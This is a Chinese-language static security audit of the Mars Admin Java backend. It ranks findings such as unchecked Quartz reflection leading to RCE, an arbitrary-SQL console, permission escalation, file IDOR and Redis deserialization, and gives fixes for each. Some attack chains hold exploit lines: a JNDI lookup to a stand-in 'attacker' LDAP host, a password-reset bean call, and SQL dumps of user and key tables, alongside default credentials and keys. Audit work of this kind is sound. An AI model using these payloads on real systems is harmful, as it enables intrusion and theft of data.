Mars Admin 系统安全审计报告
审计日期:2026-08-10 · 审计方式:静态代码审读(只读,未改动任何文件)
审计范围:反序列化 · 命令执行 / RCE · SQL 注入 · 未授权访问 · XSS · SSRF · 越权 / IDOR
项目路径:/mars/mars-server
代码来源:https://gitee.com/Marsfactory/mars.git
结论摘要:3 严重 / 4 高危 / 5 中危 / 加固项若干,另有 9 项疑似点已核查排除。
该系统存在 2 条可直通服务器/数据库的严重攻击链:
- 定时任务反射调用无任何白名单/黑名单校验(
JobInvokeUtil的Class.forName().newInstance() + method.invoke()),配合权限切面的“读权限即可写”放大逻辑(system:job:list即可增删改跑任务)—— 低权限用户可直接 RCE / 篡改任意用户密码。 - SQL 日志控制台用真实数据源执行任意 SELECT,默认口令可猜测(
admin/mars666、admin/changeme),任意已登录用户(含 C 端小程序用户)即可导出全库数据(含 sys_config 中的签名密钥 / SM4 密钥)。
此外文件上传/下载接口普遍缺少权限与类型校验,形成同源存储型 XSS 与全量文件越权读取。Redis 序列化开启 Jackson 多态并回退 JDK 原生反序列化,生产默认口令为空 —— 一旦 Redis 暴露即可 RCE。
建议优先修复 S-01 / S-02 / S-03。
漏洞清单 · 按严重程度排序
S-01 【严重】Quartz 定时任务反射调用无校验 → 任意代码执行 (RCE)
影响:服务器完全失陷:可 JNDI 反序列化 RCE、或直接调用任意 Spring Bean 方法篡改任意用户密码 / 读库 / 外联。
缺陷位置
mars-server/src/main/java/com/mars/admin/framework/quartz/util/JobInvokeUtil.java—Class.forName(...).getDeclaredConstructor().newInstance()+method.invoke(bean, params);isValidClassName仅要求.数量 > 1,无任何黑名单mars-server/src/main/java/com/mars/admin/modules/system/service/impl/SysJobServiceImpl.java:68—insertJob仅校验 cron,不校验invokeTargetmars-server/src/main/java/com/mars/admin/framework/aspect/BaseControllerPermissionAspect.java:127— LIST_ONLY 放行
攻击链
- 持有
system:job:list(只读权限)即可走 AOP 放行 → 新增 / 修改 / 立即运行任务。 - 新增任务
invokeTarget填任意类方法,如 JNDI 注入:
// isValidClassName 仅要求 '.' 数量 > 1,无任何黑名单;JDK17 下走 LDAP 反序列化 gadget 链
org.springframework.jndi.JndiLocatorDelegate.lookup('ldap://attacker:1389/exp')
// 或调用任意 Spring Bean 方法:
sysUserService.resetPassword(1, '123456')
修复建议
- 对
invokeTarget做白名单(仅允许项目内指定类 + 指定方法),比黑名单更稳妥。 - 至少按 RuoYi 方式屏蔽
javax.* / java.* / sun.* / org.springframework.jndi等前缀。 - 任务管理收口到按钮级权限(
system:job:add/edit/remove/run),移除 LIST_ONLY 对 job 模块的放行。 - 运行参数仅支持基础类型并做长度限制;新任务一律
PAUSE(当前已是)。
S-02 【严重】SQL 日志控制台执行任意 SQL → 全库数据泄露
影响:任何已登录用户(含 C 端小程序用户 token)用可猜测的默认口令登录后,可导出整个数据库(含用户密码哈希、sys_config 密钥、会话、业务数据)。
缺陷位置
mars-server/src/main/java/com/mars/admin/modules/base/controller/SqlLogPageController.java:90—dataSource.getConnection().prepareStatement(sql).executeQuery()直接执行并回显mars-server/src/main/java/com/mars/admin/framework/config/SqlLogProperties.java— 默认admin/adminapplication-dev.yml—admin/mars666;application-prod.yml—admin/changemeSqlLogPageController.java:267-297— 黑名单可绕过
攻击链
/sqlLog/**未被 Sa-Token 排除 → 任意有效 token 即可进入登录页;凭弱口令二次登录。- 黑名单仅拦
delete/update/drop/alter/insert等前缀,且只做小写startsWith("select")开头校验 ——SELECT ... INTO OUTFILE、LOAD_FILE()、@@datadir均未拦截。 - 任意 SELECT 直接回显结果:
SELECT * FROM sys_user;
SELECT config_key, config_value FROM sys_config; -- 取 signSecret / sm4Key
修复建议
- 移除该控制台,或改为只读数据库账号(DBA 单独建最小权限账号)+ 强制复杂口令 + 双因素。
- 不直接执行用户 SQL —— 改用预编译参数 + 白名单查询模板(表 / 列 / 操作符枚举)。
- 接口加
system:monitor:sql按钮级权限;记录审计日志。 - 黑名单补齐
INTO OUTFILE / LOAD_FILE / @@ / information_schema / 注释符绕过并做二次 URL/大小写归一化。
S-03 【严重】权限切面 LIST_ONLY:读权限 (list) 授予模块内全部写操作
影响:权限放大 —— 仅“查看”权限即可新增/编辑/删除/执行,是 S-01、S-04 的入口。
缺陷位置
mars-server/src/main/java/com/mars/admin/framework/aspect/BaseControllerPermissionAspect.java:33-40,127LIST_ONLY_MODULES = system:dept · post · dict · config · job · sysSetting
攻击链
if (LIST_ONLY_MODULES.contains(module)
&& StpUtil.hasPermission(listPermission)) return; // 直接放行全部操作
// → system:sysSetting:list 可 saveAll 篡改安全密钥与对外凭据
// → system:config:list 可改系统参数,system:dict:list 可改字典
// → system:job:list 可增删改跑任务 = S-01 RCE
修复建议
- 移除 LIST_ONLY 快捷放行,改为每个写方法独立
@SaCheckPermission("xxx:add/edit/remove")。 - 若保留快捷逻辑,仅放行 read 类方法(pageList / getById / getInfo / export),其余一律按按钮权限校验。
- 对
system:job、system:sysSetting、system:config三个高危模块优先整改。
S-04 【高危】安全密钥硬编码默认值 + 可被低权限读取 / 篡改
影响:API 签名密钥 / SM4 密钥可被窃取或改写 → 绕过签名校验、解密加密响应、接管邮箱 / 短信 / OSS / 支付凭据。
缺陷位置
mars-server/src/main/java/com/mars/admin/modules/system/service/impl/SysSettingServiceImpl.java:181— signSecret 默认mars-sign-secretSysSettingServiceImpl.java:196— sm4Key 默认0123456789abcdeFSysSettingController—getAll / saveAll / saveGroup
攻击链
- 任何人持有
system:sysSetting:list即可getAll—— 明文拿到密钥;按 S-03 还能直接saveAll改写。 - 拿默认 / 窃取的 secret 即可伪造
MD5(timestamp+nonce+secret+method+uri+body)签名。 - 改写
encryptEnabled / signEnabled可关闭加密与签名。
修复建议
- 密钥改为环境变量 / 配置中心注入,且禁止后端下发明文(getAll 脱敏,只回显掩码)。
- 保存密钥的接口拆分并加
system:sysSetting:edit权限,与“list”彻底解耦(结合 S-03)。 - 外联凭据(邮箱 / SMS / OSS / 支付)应加密存储、按需解密,不从配置回显。
S-05 【高危】任意文件上传 + 同源静态托管 → 存储型 XSS
影响:可上传 .html / .svg 并同源访问执行 JS → 窃取管理端 token、以管理员身份调用接口。
缺陷位置
mars-server/src/main/java/com/mars/admin/framework/oss/strategy/impl/LocalFileUploadStrategy.java:50-100— 保留原扩展名(UUID + 原扩展名),无类型校验mars-server/src/main/java/com/mars/admin/framework/config/WebMvcConfig.java:112—/file/**同源静态服务mars-server/src/main/java/com/mars/admin/modules/base/controller/LocalFileController.java—/files/**inline 预览
攻击链
- yml 虽有
allowed-types,但服务端上传逻辑未做任何校验,扩展名随原文件保留。 - 上传
x.html/x.svg→ 访问/file/…/x.html或/file/preview/{id}(inline)→ 脚本在上传域执行。 - 管理端无 CSRF token(Bearer 直读),JS 可直接带 token 调任意管理接口。
修复建议
- 服务端强制扩展名 + Content-Type 白名单;图片校验文件魔数(sniff 头字节)。
- 静态服务对
.html / .svg / .js / .xml强制Content-Disposition: attachment。 - 上传文件域名独立于管理后台(或走 CDN + 严格 CORS)。
S-06 【高危】文件下载 / 预览 / 预签名接口零权限校验 → 全量文件越权读取 (IDOR)
影响:任意已登录用户(含 C 端小程序用户)可下载 / 预览他人上传的全部文件(身份证、合同、发票等)。
缺陷位置
mars-server/src/main/java/com/mars/admin/modules/base/controller/FileDownloadController.java—download / preview / preview-info无注解mars-server/src/main/java/com/mars/admin/modules/base/controller/FileUploadController.java—getById / presigned-url / page / types无注解mars-server/src/main/java/com/mars/admin/framework/aspect/BaseControllerPermissionAspect.java— module 为空则跳过
攻击链
- 这两个 Controller 无
@SaCheckPermission、无@PermissionModule→ AOP 因无法解析模块直接跳过。 - 多端登录共用同一 Sa-Token 命名空间:C 端小程序用户 token 同样通过登录校验。
GET /file/preview/{任意fileId}→ 读取任意上传文件(无 uploader 归属校验)。
修复建议
- 下载 / 预览 / 详情 / 预签名全部加
system:file:query权限。 - 增加归属校验(
uploaderId == 当前用户或显式共享 / 公开标记)。 - 管理端接口校验 loginId 前缀必须为系统用户,拒绝 C 端用户 token。
S-07 【高危】Redis 反序列化:Jackson 多态 + JDK 原生兜底(Redis 暴露即可 RCE)
影响:Redis 口令默认为空 / 弱口令;一旦可写即触发反序列化 RCE;即使不 RCE,也可读取全量 Redis(含所有用户会话)。
缺陷位置
mars-server/src/main/java/com/mars/admin/framework/config/RedisConfig.java—activateDefaultTyping(LaissezFaireSubTypeValidator, NON_FINAL)+CompatibleRedisSerializer回退裸ObjectInputStream.readObject()mars-server/src/main/java/com/mars/admin/modules/base/controller/CacheMonitorController.java:909-918— 无ObjectInputFilter的deserializeJdkObjectapplication-prod.yml—redis.password默认空;application-dev.yml— 默认123456
攻击链
- 若 Redis 绑定 0.0.0.0(常见 docker)且无密码 → 直接写精心构造的 key → 任一缓存读取点触发反序列化 → RCE。
/system/cache/detail/{key}(system:cache:detail:view)可 URL 解码读取任意 Redis key 并反序列化回显 —— 含其他用户 Sa-Token 会话。
修复建议
activateDefaultTyping改为显式类型白名单,或对关键序列化对象自定义类型映射,避免多态反序列化。- 所有
ObjectInputStream加ObjectInputFilter白名单(仅允许本项目 DTO / 基础类型)。 - Redis 强制强口令、禁止公网监听、非默认端口。
- cache/detail 收口到高权限角色,并限制只能读本项目前缀的 key,禁止任意 key 反序列化回显。
S-08 【中危】API 签名无 nonce 追踪(可重放) + 默认密钥
影响:签名窗口(默认 300s)内请求可无限重放;配合 S-04 默认 secret 可完全伪造签名。
缺陷位置
mars-server/src/main/java/com/mars/admin/framework/interceptor/ApiSignInterceptor.java— 无 nonce 存储 / 判重
说明
- 方案为
MD5(timestamp + nonce + secret + METHOD + uri + body),nonce 生成后从未落库比对。 - GET / DELETE 请求体按
""参与签名,无副作用校验。
修复建议
- nonce 写入 Redis 判重(TTL = 签名窗口),重复即拒绝。
- 升级为 HMAC-SHA256;强制通过环境变量注入密钥并定期轮换。
S-09 【中危】生产只读拦截器 contains 子串白名单绕过
影响:生产“只读演示”保护可被任意含白名单子串的写请求绕过,增删改照常执行。
缺陷位置
mars-server/src/main/java/com/mars/admin/framework/interceptor/ProductionReadOnlyInterceptor.java:83—WHITELIST_PATHS.stream().anyMatch(requestURI::contains)application-prod.yml—mars.production.read-only.enabled: true
WHITELIST_PATHS.stream().anyMatch(requestURI::contains)
// 任何含 /export、/file/upload、/actuator、/health、/auth/login 子串的路径均放行
// 例:POST /file/upload-confirm、POST /system/user/exportAll
修复建议
- 改用
AntPathMatcher精确匹配,或反转策略:仅显式白名单“读接口”。
S-10 【中危】分页拦截器数据库连接泄漏 → 连接池耗尽 DoS
影响:count 查询的连接从不关闭;高并发或持续访问下连接池(max-active 20)耗尽,全站不可用。pageSize 无上限可拖垮数据库。
缺陷位置
mars-server/src/main/java/com/mars/admin/framework/config/MybatisFlexPageInterceptor.java:57—getDataSource().getConnection()未关闭
修复建议
- try-with-resources 关闭连接;count 走 MyBatis-Flex 自身 count 能力,不手搓 JDBC。
- pageSize 服务端硬上限(如 100),并拦截 offset 过大。
S-11 【中危】WebSocket token 放在 URL 查询参数
影响:会话 token 出现在 URL,落入访问日志 / 反向代理 / CDN 日志,泄露面扩大。
缺陷位置
mars-server/src/main/java/com/mars/admin/modules/chat/websocket/WebSocketInterceptor.java:63-73—?token=…
修复建议
- 握手阶段通过
Sec-WebSocket-Protocol或 Header 携带 token;或首条消息鉴权,连接内一次性校验。
S-12 【中危】C 端(小程序)用户 token 可访问管理端无注解接口
影响:PC / App / 小程序多端登录共用同一 Sa-Token 命名空间;凡无 @SaCheckPermission、无 @PermissionModule 的管理端接口(如 S-06 文件读取)对 C 端用户一律开放。
缺陷位置
mars-server/src/main/java/com/mars/admin/framework/config/SaTokenConfiguration.java— 仅校验StpUtil.checkLoginmars-server/src/main/java/com/mars/admin/framework/strategy/LoginStrategyFactory— 多端登录
修复建议
- 管理端接口统一校验 loginId 前缀为系统用户(区分 admin / app token 类型)。
- 给所有管理端 Controller 补全模块注解 + 按钮权限,消灭“module 为空跳过”的漏洞面。
加固建议 · 低风险 / 配置硬化
| 项目 | 位置 | 风险 / 建议 |
|---|---|---|
默认密码 123456 |
SysUserController.save:73 |
初始化密码未强制修改(sys.password.forceChange 默认关);建议首次登录强制改密。 |
| Druid 监控弱口令 | application-*.yml |
admin/changeme;multi-statement-allow: true 请关闭(配合 Wall Filter 阻断多语句)。 |
| 遗留数据库名 | application-prod.yml:12 |
默认库名 chaoyou 疑似复制粘贴遗留;dev 为 root/root。 |
| 鉴权排除列表过宽 | sa-token.exclude-paths |
含 /test/** /actuator/** /druid/** /v3/api-docs/**;当前无对应控制器,建议删除 /test/** 并收紧。 |
| 注册功能 | AuthRegisterService / sys.register.* |
默认关闭(良好);若开启,确认 sys.register.defaultRole 不授予管理角色,且邮箱验证默认开启。 |
| 字段名拼接 | BasePlusMapper.*ByField |
fieldName 直接拼进 .where() / .orderBy();已核查所有调用点为硬编码字面量、当前不可达,建议仍改造为枚举白名单。 |
| OpenAPI / 生产配置 | application-prod.yml |
springdoc / knife4j 生产已禁用(良好项);保持。 |
已核查排除的疑似项(非问题)
| 疑似点 | 核查结论 |
|---|---|
| ChatMapper XML 注入 | 全部 #{} 参数化,无拼接,无 SQL 注入。 |
| 小程序登录 SSRF | 请求 host 固定 api.weixin.qq.com,非真实 SSRF。 |
/test/** 未授权 |
代码库中不存在任何 test 控制器,无实际暴露面。 |
| OperationLogAspect SpEL | SpEL 取自注解常量,非用户输入,无注入。 |
| 个人资料 / 改密越权 | updateProfile / changePassword 均限定当前登录用户,无 IDOR。 |
修复优先级
| 优先级 | 编号 | 一句话动作 |
|---|---|---|
| 立即 | S-01 / S-02 / S-03 | 封死两条 RCE/泄库链路:invokeTarget 白名单、移除 LIST_ONLY 放行、SQL 控制台收口。 |
| 本周 | S-04 / S-05 / S-06 / S-07 | 密钥脱敏 + 改独立权限、上传类型白名单、文件接口加权限 + 归属校验、Redis 强口令 + 反序列化白名单。 |
| 短期 | S-08 / S-09 / S-10 / S-11 / S-12 | nonce 判重、只读匹配改精确、连接泄漏、WS token 迁移、管理端接口加前缀校验。 |
| 持续 | 加固表 | 默认口令清理、Druid 多语句关闭、鉴权排除收紧、BasePlusMapper 字段白名单。 |
说明
- 本报告为静态代码审读结论,未实际执行任何攻击利用(只读审计,未改动文件)。
- 行号以审计当时代码为准,后续代码变更可能导致行号偏移。
- 建议修复后在受控环境按 S-01 / S-02 复测一次,确认封堵效果。